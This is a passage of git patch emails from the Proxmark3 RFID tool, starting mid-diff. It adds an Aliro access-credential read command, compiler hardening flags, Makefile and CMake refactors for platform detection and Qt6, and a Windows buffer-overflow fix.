{0}; + char kpersistent_hex[65] = {0}; + char endpoint_pub_hex[131] = {0}; + hex_to_buffer((uint8_t *)reader_group_hex, reader_group_identifier, 16, sizeof(reader_group_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)reader_sub_group_hex, reader_group_sub_identifier, 16, sizeof(reader_sub_group_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)reader_priv_hex, reader_private_key_raw, 32, sizeof(reader_priv_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)kpersistent_hex, state->standard_result.keys.kpersistent, 32, sizeof(kpersistent_hex) - 1, 0, 0, true); + hex_to_buffer((uint8_t *)endpoint_pub_hex, state->auth1_parsed.endpoint_public_key, 65, sizeof(endpoint_pub_hex) - 1, 0, 0, true); + + char fast_cmd[768] = {0}; + int fast_cmd_len = snprintf(fast_cmd, sizeof(fast_cmd), + "hf aliro read --reader-group-id %s --reader-sub-group-id %s " + "--reader-private-key %s --key-persistent %s " + "--endpoint-public-key %s --flow fast", + reader_group_hex, reader_sub_group_hex, + reader_priv_hex, kpersistent_hex, endpoint_pub_hex); + if (fast_cmd_len > 0) { + aliro_print_big_header("Note"); + PrintAndLogEx(INFO, _GREEN_("use the following command to perform FAST authentication flow for this endpoint:")); + if ((size_t)fast_cmd_len < sizeof(fast_cmd)) { + PrintAndLogEx(INFO, _YELLOW_("%s"), fast_cmd); + } + } + } +} + +static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_len, + const uint8_t reader_group_identifier[16], + const uint8_t reader_group_sub_identifier[16], + const uint8_t reader_private_key_raw[32], + const uint8_t *transaction_identifier_in, size_t transaction_identifier_len, + const uint8_t *endpoint_public_key_x_in, + aliro_flow_t flow) { + int status = PM3_ESOFT; + aliro_rng_t rng; + int res = aliro_rng_init(&rng); + if (res != PM3_SUCCESS) { + return res; + } + + mbedtls_ecp_keypair reader_private_key; + mbedtls_ecp_keypair reader_ephemeral_key; + mbedtls_ecp_keypair_init(&reader_private_key); + mbedtls_ecp_keypair_init(&reader_ephemeral_key); + + aliro_read_state_t state; + memset(&state, 0, sizeof(state)); + + do { + res = aliro_read_prepare_session(&state, + &reader_private_key, + &reader_ephemeral_key, + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw, + transaction_identifier_in, transaction_identifier_len, + &rng); + if (res != PM3_SUCCESS) { + break; + } + + bool fast_flow_complete = false; + res = aliro_read_do_auth0(&state, + kpersistent, kpersistent_len, + reader_group_identifier, reader_group_sub_identifier, + endpoint_public_key_x_in, + flow, + &fast_flow_complete); + if (res != PM3_SUCCESS) { + break; + } + if (fast_flow_complete) { + status = PM3_SUCCESS; + break; + } + + res = aliro_read_prepare_auth1_keys(&state, &reader_ephemeral_key, &rng); + if (res != PM3_SUCCESS) { + break; + } + + res = aliro_read_do_auth1(&state, &reader_private_key); + if (res != PM3_SUCCESS) { + break; + } + + aliro_read_print_auth1_report(&state, + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw); + status = PM3_SUCCESS; + } while (0); + + DropField(); + mbedtls_ecp_keypair_free(&reader_ephemeral_key); + mbedtls_ecp_keypair_free(&reader_private_key); + aliro_rng_free(&rng); + return status; } static int CmdHFAliroInfo(const char *Cmd) { @@ -308,8 +1975,129 @@ static int CmdHFAliroInfo(const char *Cmd) { bool apdu_logging = arg_get_lit(ctx, 1); CLIParserFree(ctx); + bool restore_apdu_logging = GetAPDULogging(); SetAPDULogging(apdu_logging); - return info_aliro(); + int res = info_aliro(); + SetAPDULogging(restore_apdu_logging); + return res; +} + +static int CmdHFAliroRead(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf aliro read", + "Execute ALIRO expedited flow (SELECT-AUTH0-AUTH1).", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF\n" + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a\n" + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --ti 00112233445566778899AABBCCDDEEFF"); + + void *argtable[] = { + arg_param_begin, + arg_str0("k", "k-persistent,key-persistent,kpersistent,keypersistent,kp", "", "Kpersistent (32 bytes, optional; used for fast cryptogram verification)"), + arg_str1("g", "reader-group-id,readergroupid,rgi", "", "Reader group identifier (16 bytes)"), + arg_str0("s", "reader-sub-group-id,readersubid,rsi", "", "Reader subgroup identifier (16 bytes, default: all zeroes)"), + arg_str1("p", "reader-private-key,readerprivkey,rpk", "", "Reader private key (32 bytes, P-256)"), + arg_str0("t", "transaction-id,ti", "", "Transaction identifier (16 bytes, optional; random if omitted)"), + arg_str0("e", "endpoint-public-key,endpointpublickey,epk", "", "Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)"), + arg_str0("f", "flow", "", "AUTH0 flow request (default: standard)"), + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + uint8_t kpersistent[32] = {0}; + int kpersistent_len = 0; + CLIGetHexWithReturn(ctx, 1, kpersistent, &kpersistent_len); + + uint8_t reader_group_identifier[16] = {0}; + int reader_group_identifier_len = 0; + CLIGetHexWithReturn(ctx, 2, reader_group_identifier, &reader_group_identifier_len); + + uint8_t reader_group_sub_identifier[16] = {0}; + int reader_group_sub_identifier_len = 0; + CLIGetHexWithReturn(ctx, 3, reader_group_sub_identifier, &reader_group_sub_identifier_len); + + uint8_t reader_private_key[32] = {0}; + int reader_private_key_len = 0; + CLIGetHexWithReturn(ctx, 4, reader_private_key, &reader_private_key_len); + + uint8_t transaction_identifier[16] = {0}; + int transaction_identifier_len = 0; + CLIGetHexWithReturn(ctx, 5, transaction_identifier, &transaction_identifier_len); + + uint8_t endpoint_public_key_input[65] = {0}; + int endpoint_public_key_input_len = 0; + CLIGetHexWithReturn(ctx, 6, endpoint_public_key_input, &endpoint_public_key_input_len); + + aliro_flow_t flow = ALIRO_FLOW_STANDARD; + CLIParserOption flow_options[] = { + {ALIRO_FLOW_FAST, "fast"}, + {ALIRO_FLOW_STANDARD, "standard"}, + {0, NULL} + }; + if (CLIGetOptionList(arg_get_str(ctx, 7), flow_options, (int *)&flow) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_ESOFT; + } + + bool apdu_logging = arg_get_lit(ctx, 8); + CLIParserFree(ctx); + + if (reader_group_identifier_len != 16) { + PrintAndLogEx(ERR, "readergroupid must be 16 bytes (got %d)", reader_group_identifier_len); + return PM3_EINVARG; + } + if (reader_group_sub_identifier_len != 0 && reader_group_sub_identifier_len != 16) { + PrintAndLogEx(ERR, "readersubid must be 16 bytes (got %d)", reader_group_sub_identifier_len); + return PM3_EINVARG; + } + if (reader_private_key_len != 32) { + PrintAndLogEx(ERR, "readerprivkey must be 32 bytes (got %d)", reader_private_key_len); + return PM3_EINVARG; + } + if (kpersistent_len != 0 && kpersistent_len != 32) { + PrintAndLogEx(ERR, "kpersistent must be 32 bytes when provided (got %d)", kpersistent_len); + return PM3_EINVARG; + } + if (transaction_identifier_len != 0 && transaction_identifier_len != 16) { + PrintAndLogEx(ERR, "transaction-id must be 16 bytes when provided (got %d)", transaction_identifier_len); + return PM3_EINVARG; + } + + uint8_t endpoint_public_key_x[32] = {0}; + const uint8_t *endpoint_public_key_x_ptr = NULL; + if (endpoint_public_key_input_len != 0) { + if (endpoint_public_key_input_len == 32) { + memcpy(endpoint_public_key_x, endpoint_public_key_input, sizeof(endpoint_public_key_x)); + } else if (endpoint_public_key_input_len == 65 && endpoint_public_key_input[0] == 0x04) { + mbedtls_ecp_keypair endpoint_public_key; + mbedtls_ecp_keypair_init(&endpoint_public_key); + int key_res = aliro_load_public_key(endpoint_public_key_input, &endpoint_public_key); + if (key_res == PM3_SUCCESS) { + key_res = aliro_export_pubkey_x(&endpoint_public_key, endpoint_public_key_x); + } + mbedtls_ecp_keypair_free(&endpoint_public_key); + if (key_res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "endpoint-public-key is not a valid uncompressed P-256 key"); + return PM3_EINVARG; + } + } else { + PrintAndLogEx(ERR, "endpoint-public-key must be 32 bytes (X coordinate) or 65 bytes (uncompressed) (got %d)", endpoint_public_key_input_len); + return PM3_EINVARG; + } + endpoint_public_key_x_ptr = endpoint_public_key_x; + } + + bool restore_apdu_logging = GetAPDULogging(); + SetAPDULogging(apdu_logging); + int res = aliro_read_auth_flow(kpersistent, (size_t)kpersistent_len, + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key, + transaction_identifier, (size_t)transaction_identifier_len, + endpoint_public_key_x_ptr, + flow); + SetAPDULogging(restore_apdu_logging); + return res; } static int CmdHFAliroList(const char *Cmd) { @@ -321,7 +2109,8 @@ static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdHFAliroList, AlwaysAvailable, "List ISO 14443A/7816 history"}, {"-----------", CmdHelp, IfPm3Iso14443a, "--------------------- " _CYAN_("Operations") " ----------------------"}, - {"info", CmdHFAliroInfo, IfPm3Iso14443a, "Tag information"}, + {"info", CmdHFAliroInfo, IfPm3Iso14443a, "Get Aliro applet information"}, + {"read", CmdHFAliroRead, IfPm3Iso14443a, "Run SELECT-AUTH0-AUTH1 and print parsed data"}, {NULL, NULL, NULL, NULL} }; From f9cfda9a72e53acf3df284bce1b46a236f182e3d Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 13:30:41 +0100 Subject: [PATCH 024/162] Add hardening flags (NOHARDENING=1 to disable them) and fix Windows stringop-overflow --- Makefile.defs | 82 +++++++++++++++++++++++++++++++----------- client/Makefile | 34 +++++++++--------- client/src/cmdparser.c | 5 +-- 3 files changed, 78 insertions(+), 43 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index 35b29cca7..56e68b3a9 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -68,22 +68,40 @@ export INSTALLSUDO platform = $(shell uname) DETECTED_OS=$(platform) +ifneq ($(findstring MINGW,$(platform)),) + IS_WINDOWS := 1 + IS_MINGW := 1 +endif +ifneq ($(findstring MSYS,$(platform)),) + IS_WINDOWS := 1 + IS_MSYS := 1 +endif +ifeq ($(platform),Darwin) + IS_DARWIN := 1 + ifeq ($(shell uname -p),arm64) + IS_IOS := 1 + else + IS_MACOS := 1 + endif +endif + ifeq ($(shell $(CC) -v 2>&1 | grep -c "clang version"), 1) DETECTED_COMPILER = clang else DETECTED_COMPILER = gcc endif -ifeq ($(platform),Darwin) - ifeq ($(shell uname -p),arm64) - # The platform is iOS - USE_BREW ?= 0 - # iOS refuses to compile unless this is set - export IPHONEOS_DEPLOYMENT_TARGET=11.0 - else - # M* macOS devices return arm - USE_BREW ?= 1 - endif +ifdef IS_IOS + # The platform is iOS + USE_BREW ?= 0 + # iOS refuses to compile unless this is set + export IPHONEOS_DEPLOYMENT_TARGET=11.0 +endif +ifdef IS_MACOS + # M* macOS devices return arm + USE_BREW ?= 1 +endif +ifdef IS_DARWIN USE_MACPORTS ?= 0 AR= /usr/bin/ar rcs RANLIB= /usr/bin/ranlib @@ -108,8 +126,8 @@ ifeq ($(USE_MACPORTS),1) endif ifeq ($(DEBUG),1) - DEFCXXFLAGS = -g -O0 -pipe - DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe + DEFCXXFLAGS = -ggdb3 -O0 -pipe + DEFCFLAGS = -ggdb3 -O0 -fstrict-aliasing -pipe DEFLDFLAGS = else DEFCXXFLAGS = -Wall -Werror -O3 -pipe @@ -129,18 +147,18 @@ ifeq ($(SANITIZE),1) endif # Some more warnings we want as errors: DEFCFLAGS += -Wbad-function-cast -Wredundant-decls -Wmissing-prototypes -Wchar-subscripts -Wshadow -Wundef -Wwrite-strings -Wunused -Wuninitialized -Wpointer-arith -Winline -Wformat -Wformat-security -Winit-self -Wmissing-include-dirs -Wnested-externs -Wmissing-declarations -Wempty-body -Wignored-qualifiers -Wmissing-field-initializers -Wtype-limits -Wold-style-definition -Wcast-align -Wswitch-enum -# GCC 10 has issues with false positives on stringop-overflow, let's disable them for now (cf https://gcc.gnu.org/bugzilla/show_bug.cgi?id=92955, https://gcc.gnu.org/bugzilla/show_bug.cgi?id=94335) -# beware these flags didn't exist for GCC < 7 -ifeq ($(shell expr $(CC_VERSION) \>= 10), 1) +# GCC 10 to 13 had issues with false positives on stringop-overflow (cf https://gcc.gnu.org/bugzilla/show_bug.cgi?id=92955, https://gcc.gnu.org/bugzilla/show_bug.cgi?id=94335) +ifeq ($(shell expr $(CC_VERSION) \>= 14), 1) ifneq ($(DETECTED_COMPILER), clang) - DEFCFLAGS += -Wno-stringop-overflow -Wno-error=stringop-overflow + DEFCFLAGS += -Wstringop-overread -Wstringop-overflow endif endif -ifeq ($(platform),Darwin) - ifeq ($(shell uname -p),arm64) - # iOS will refuse to compile without the minimum target of iOS 11.0 - DEFCFLAGS += -mios-version-min=11.0 - endif + +ifdef IS_IOS + # iOS will refuse to compile without the minimum target of iOS 11.0 + DEFCFLAGS += -mios-version-min=11.0 +endif +ifdef IS_DARWIN # their readline has strict-prototype issues DEFCFLAGS += -Wno-strict-prototypes # some warnings about braced initializers on structs we want to ignore @@ -149,6 +167,28 @@ else DEFCFLAGS += -Wstrict-prototypes endif +ifneq ($(NOHARDENING),1) + # Manual equivalents of -fhardened to avoid g++: warning: linker hardening options not enabled by ‘-fhardened’ because other link options were specified on the command line + DEFCFLAGS += \ + -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=3 -fstack-protector-strong -ftrivial-auto-var-init=zero + ifndef IS_WINDOWS + ifndef IS_DARWIN + ifeq ($(ARCH),x86_64) + CFLAGS += -fcf-protection=full + endif + DEFCFLAGS += -fPIE + DEFLDFLAGS += -Wl,-z,now -Wl,-z,relro -Wl,-z,noexecstack -pie + endif + endif + ifdef IS_DARWIN + DEFLDFLAGS += -Wl,-bind_at_load # equivalent of -z,now + DEFLDFLAGS += -Wl,-pie # ASLR + endif + ifeq ($(DETECTED_COMPILER), gcc) + DEFCFLAGS += -fstack-clash-protection + endif +endif + # Next ones are activated only if GCCEXTRA=1 or CLANGEXTRA=1 EXTRACFLAGS = EXTRACFLAGS += -Wunused-parameter -Wno-error=unused-parameter diff --git a/client/Makefile b/client/Makefile index 654e5ea0a..d1d75dbce 100644 --- a/client/Makefile +++ b/client/Makefile @@ -100,10 +100,10 @@ LUALIBINC = -I$(LUALIBPATH) LUALIB = $(LUALIBPATH)/liblua.a LUALIBLD = LUAPLATFORM = generic -ifneq (,$(findstring MINGW,$(platform))) +ifdef IS_MINGW LUAPLATFORM = mingw else - ifeq ($(platform),Darwin) + ifdef IS_DARWIN LUAPLATFORM = macosx else LUALIBLD += -ldl @@ -112,8 +112,8 @@ else endif ## Winsock2 -ifneq (,$(findstring MINGW,$(platform))) - LDLIBS += -lws2_32 +ifdef IS_MINGW + LDLIBS += -lws2_32 endif ## Reveng @@ -262,7 +262,7 @@ PM3INCLUDES += $(MQTTLIBINC) # RPi Zero gcc requires -latomic # but MacOSX /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld # doesn't recognize option --as-needed -ifneq ($(platform),Darwin) +ifndef IS_DARWIN LDLIBS += -Wl,--as-needed -latomic -Wl,--no-as-needed endif @@ -433,7 +433,7 @@ PM3CFLAGS += -I./src -I./include -I../include -I../common -I../common_fpga $(PM3 #PM3CFLAGS += -std=c11 -pedantic PREFIX ?= /usr/local -ifneq (,$(findstring MINGW,$(platform))) +ifdef IS_MINGW # Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z) # and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1 # FTR __USE_MINGW_ANSI_STDIO seems deprecated in Mingw32 @@ -496,14 +496,12 @@ LDFLAGS ?= $(DEFLDFLAGS) LDFLAGS += $(MYLDFLAGS) PM3LDFLAGS = $(LDFLAGS) -ifeq ($(platform),Darwin) - ifeq ($(shell uname -p),arm64) - # The platform is iOS - PM3LDFLAGS += -framework Foundation -framework UIKit - else - # M* macOS devices return arm - PM3LDFLAGS += -framework Foundation -framework AppKit - endif +ifdef IS_IOS + PM3LDFLAGS += -framework Foundation -framework UIKit +endif +ifdef IS_MACOS + # M* macOS devices return arm + PM3LDFLAGS += -framework Foundation -framework AppKit endif ################### @@ -840,8 +838,8 @@ else CXXSRCS = guidummy.cpp endif -# OS X -ifeq ($(platform),Darwin) +# OS X & iOS +ifdef IS_DARWIN OBJCSRCS = util_darwin.m endif @@ -885,7 +883,7 @@ src/ui/ui_overlays.h: src/ui/overlays.ui $(info [-] UIC $@) $(Q)$(UIC) $^ > $@ # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) -ifeq ($(platform),Darwin) +ifdef IS_DARWIN $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ else $(Q)sed -i 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ @@ -931,7 +929,7 @@ endif ifneq (,$(INSTALLSHARE)) $(Q)$(INSTALLSUDO) $(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) # hack ahead: inject installation path into pm3_resources.py - ifeq ($(platform),Darwin) + ifdef IS_DARWIN $(Q)sed -E -i '' 's|^TOOLS_PATH \?= \?None|TOOLS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)"|' pyscripts/pm3_resources.py $(Q)sed -E -i '' 's|^DICTS_PATH \?= \?None|DICTS_PATH="$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)/dictionaries"|' pyscripts/pm3_resources.py $(Q)$(INSTALLSUDO) $(CP) $(INSTALLSHARE) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) diff --git a/client/src/cmdparser.c b/client/src/cmdparser.c index 16fbeba6c..66ac21d79 100644 --- a/client/src/cmdparser.c +++ b/client/src/cmdparser.c @@ -239,10 +239,7 @@ static int execute_system_command(const char *command) { #if defined(_WIN32) char wrapped_command[255]; - strncat(wrapped_command, "cmd /C \"", 9); - strncat(wrapped_command, command, strlen(command)); - strncat(wrapped_command, "\"", 2); - + snprintf(wrapped_command, sizeof(wrapped_command), "cmd /C \"%s\"", command); ret = system(wrapped_command); #else ret = system(command); From 55e58466aaafd2dfb41f2a44a2cff4ddab9eadc4 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 17:33:06 +0100 Subject: [PATCH 025/162] Fix C++ flags handling (fix relocation error on Fedora 41) --- Makefile.defs | 1 + client/Makefile | 6 +++--- tools/cryptorf/Makefile | 2 +- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index 56e68b3a9..4a80eea78 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -177,6 +177,7 @@ ifneq ($(NOHARDENING),1) CFLAGS += -fcf-protection=full endif DEFCFLAGS += -fPIE + DEFCXXFLAGS += -fPIE DEFLDFLAGS += -Wl,-z,now -Wl,-z,relro -Wl,-z,noexecstack -pie endif endif diff --git a/client/Makefile b/client/Makefile index d1d75dbce..8e3c9cb82 100644 --- a/client/Makefile +++ b/client/Makefile @@ -472,7 +472,7 @@ endif PM3CFLAGS += -DHAVE_SNPRINTF -CXXFLAGS ?= -Wall -Werror +CXXFLAGS ?= $(DEFCXXFLAGS) CXXFLAGS += $(MYDEFS) $(MYCXXFLAGS) $(MYINCLUDES) PM3CXXFLAGS = $(CXXFLAGS) @@ -483,10 +483,10 @@ ifeq ($(QT_FOUND),1) PM3CXXFLAGS += -DQT_NO_DEBUG ifeq ($(QT6_FOUND),1) # Qt6 is claiming for a C++17 compiler - PM3CXXFLAGS += -fPIC -std=c++17 + PM3CXXFLAGS += -std=c++17 else # On OSX Qt6 is claiming for a C++11 compiler (gnu++14 works too, but if nothing it fails) - PM3CXXFLAGS += -fPIC -std=c++11 + PM3CXXFLAGS += -std=c++11 endif endif diff --git a/tools/cryptorf/Makefile b/tools/cryptorf/Makefile index 39dccbb9b..dbade4441 100644 --- a/tools/cryptorf/Makefile +++ b/tools/cryptorf/Makefile @@ -21,7 +21,7 @@ endif # macOS needs c++14 standard when compiling c++ ifeq ($(platform),Darwin) - MYCXXFLAGS = -std=c++14 + MYCXXFLAGS += -std=c++14 endif ifneq (,$(findstring MINGW,$(platform))) From 20d194e5bdacf77a57ac694d7b982608d65eab87 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 19:53:41 +0100 Subject: [PATCH 026/162] Makefile: serialize targets to avoid interleaved compilations. -j still supported. --- Makefile | 30 ++++++++++++++++-------------- client/Makefile | 2 +- 2 files changed, 17 insertions(+), 15 deletions(-) diff --git a/Makefile b/Makefile index a09609f70..1543b1c72 100644 --- a/Makefile +++ b/Makefile @@ -29,19 +29,19 @@ ifneq (,$(DESTDIR)) endif endif -all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfc_card_only/% mfc_card_reader/% mfd_aes_brute/% mfulc_des_brute/% fpga_compress/% cryptorf/% -# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack" -#all clean install uninstall check: %: hitag2crack/% -HOST_TARGETS=client mfc_card_only mfc_card_reader mfd_aes_brute mfulc_des_brute fpga_compress cryptorf -host: host/all -host/all: $(addsuffix /all,$(HOST_TARGETS)) -host/clean: $(addsuffix /clean,$(HOST_TARGETS)) -host/install: $(addsuffix /install,$(HOST_TARGETS)) -host/uninstall: $(addsuffix /uninstall,$(HOST_TARGETS)) -host/check: $(addsuffix /check,$(HOST_TARGETS)) -clean: %: hitag2crack/% - find . -type d -name __pycache__ -exec rm -rfv \{\} + +define submake + $(MAKE) $(1)/$(2) || exit 1; +endef +# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack" +HOST_TARGETS := client mfc_card_only mfc_card_reader mfd_aes_brute mfulc_des_brute fpga_compress cryptorf +TARGETS := bootrom armsrc recovery $(HOST_TARGETS) +all clean install uninstall check: %: + $(foreach target,$(TARGETS),$(call submake,$(target),$*)) + +host: host/all +host/all host/clean host/install host/uninstall host/check: %: + $(foreach target,$(HOST_TARGETS),$(call submake,$(target),$(notdir $*))) INSTALLTOOLS=mfc/pm3_eml2lower.sh mfc/pm3_eml2upper.sh mfc/pm3_mfdread.py mfc/pm3_mfd2eml.py mfc/pm3_eml2mfd.py pm3_amii_bin2eml.pl pm3_reblay-emulating.py pm3_reblay-reading.py INSTALLSIMFW=sim011.bin sim011.sha512.txt sim013.bin sim013.sha512.txt sim014.bin sim014.sha512.txt @@ -155,8 +155,6 @@ hitag2crack/check: FORCE common/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) -check: common/check - $(info [*] ALL CHECKS DONE) cryptorf/%: FORCE $(info [*] MAKE $@) @@ -193,6 +191,10 @@ recovery/%: FORCE cleanifplatformchanged hitag2crack/%: FORCE $(info [*] MAKE $@) $(Q)$(MAKE) --no-print-directory -C tools/hitag2crack $(patsubst hitag2crack/%,%,$@) DESTDIR=$(MYDESTDIR) +hitag2crack/clean: FORCE hitag2crack/_clean_pycache +hitag2crack/_clean_pycache: + find . -type d -name __pycache__ -exec rm -rfv \{\} + + FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites) .PHONY: all host clean install uninstall help _test bootrom fullimage recovery client mfc_card_only mfc_card_reader mfulc_des_brute mfd_aes_brute hitag2crack style miscchecks release FORCE udev accessrights cleanifplatformchanged diff --git a/client/Makefile b/client/Makefile index 8e3c9cb82..de95e42f7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -882,7 +882,7 @@ src/proxguiqt.h: src/ui/ui_overlays.h src/ui/ui_image.h src/ui/ui_overlays.h: src/ui/overlays.ui $(info [-] UIC $@) $(Q)$(UIC) $^ > $@ - # fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) +# fix the header generated by some Qt6 versions (seen on 6.4.2 & 6.6.3) ifdef IS_DARWIN $(Q)sed -E -i '' 's/&QLabel::setNum/qOverload(\&QLabel::setNum)/g' $@ else From 7911882530dfb129b74b5b90b1cd27600240867f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 19:54:23 +0100 Subject: [PATCH 027/162] qt6 typo --- .../Windows-Installation-Instructions.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index 566d370a0..ca262a8eb 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -209,7 +209,7 @@ If group ownership is `dialout` and your user is member of `dialout` group, all sudo chmod 666 /dev/ttySX ``` -If you installed an X Server and compiled the Proxmark3 with QT5 support, you've to export the `DISPLAY` environment variable: +If you installed an X Server and compiled the Proxmark3 with Qt6 support, you've to export the `DISPLAY` environment variable: ```sh export DISPLAY=:0 From e63430adb930c151210919a106a0851ed58c5e81 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 22:15:32 +0100 Subject: [PATCH 028/162] compile with -fPIC instead of -fPIE CodeQL error: /usr/include/x86_64-linux-gnu/qt5/QtCore/qglobal.h:1287:4: error: #error "You must build your code with position independent code if Qt was built with -reduce-relocations. " "Compile your code with -fPIC (and not with -fPIE)." 1287 | # error "You must build your code with position independent code if Qt was built with -reduce-relocations. "\ | ^~~~~ --- Makefile.defs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index 4a80eea78..cffe9eee0 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -176,8 +176,8 @@ ifneq ($(NOHARDENING),1) ifeq ($(ARCH),x86_64) CFLAGS += -fcf-protection=full endif - DEFCFLAGS += -fPIE - DEFCXXFLAGS += -fPIE + DEFCFLAGS += -fPIC + DEFCXXFLAGS += -fPIC DEFLDFLAGS += -Wl,-z,now -Wl,-z,relro -Wl,-z,noexecstack -pie endif endif From 904075ecc74edfb1f0137d1225cecc1b37ef61c3 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 28 Feb 2026 22:07:16 +0100 Subject: [PATCH 029/162] Add Qt6 to cmake --- client/CMakeLists.txt | 138 +++++++++++++++++++++++++++++------------- 1 file changed, 96 insertions(+), 42 deletions(-) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index ccecfcf38..8713fc8c9 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -49,40 +49,82 @@ set(PYTHON3_PKGCONFIG "python3" CACHE STRING "Python3 package config version suf if (NOT SKIPQT EQUAL 1) - if(APPLE AND EXISTS /usr/local/opt/qt5) - # Homebrew installs Qt5 (up to at least 5.11.0) in - # /usr/local/opt/qt5. Ensure that it can be found by CMake - # since it is not in the default /usr/local prefix. - # Add it to PATHS so that it doesn't override the - # CMAKE_PREFIX_PATH environment variable. - # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, - # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) - list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) - endif(APPLE AND EXISTS /usr/local/opt/qt5) + set(Qt5_FOUND FALSE) + set(Qt6_FOUND FALSE) - if(APPLE AND EXISTS /opt/homebrew/opt/qt@5) - # Homebrew on Apple Silicon installs Qt5 in - # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake - # since it is not in the default /usr/local prefix. - # Add it to PATHS so that it doesn't override the - # CMAKE_PREFIX_PATH environment variable. - # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, - # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) - list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5) - endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5) - set(QT_PACKAGELIST - Qt5Core - Qt5Widgets - Qt5Gui - ) - set(Qt5_FOUND ON) - foreach(_qt_package IN LISTS QT_PACKAGELIST) - find_package(${_qt_package} QUIET ${QT_FIND_PACKAGE_OPTIONS}) - set(Qt5_LIBRARIES ${${_qt_package}_LIBRARIES} ${Qt5_LIBRARIES}) - if(NOT ${_qt_package}_FOUND) - set(Qt5_FOUND OFF) - endif(NOT ${_qt_package}_FOUND) - endforeach() + if (NOT SKIPQT6 EQUAL 1) + if(APPLE AND EXISTS /usr/local/opt/qt6) + # Homebrew installs Qt6 in /usr/local/opt/qt6 on Intel Macs. + # Ensure that it can be found by CMake since it is not in the + # default /usr/local prefix. + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt6) + endif(APPLE AND EXISTS /usr/local/opt/qt6) + + if(APPLE AND EXISTS /opt/homebrew/opt/qt6) + # Homebrew on Apple Silicon installs Qt6 in + # /opt/homebrew/opt/qt6. 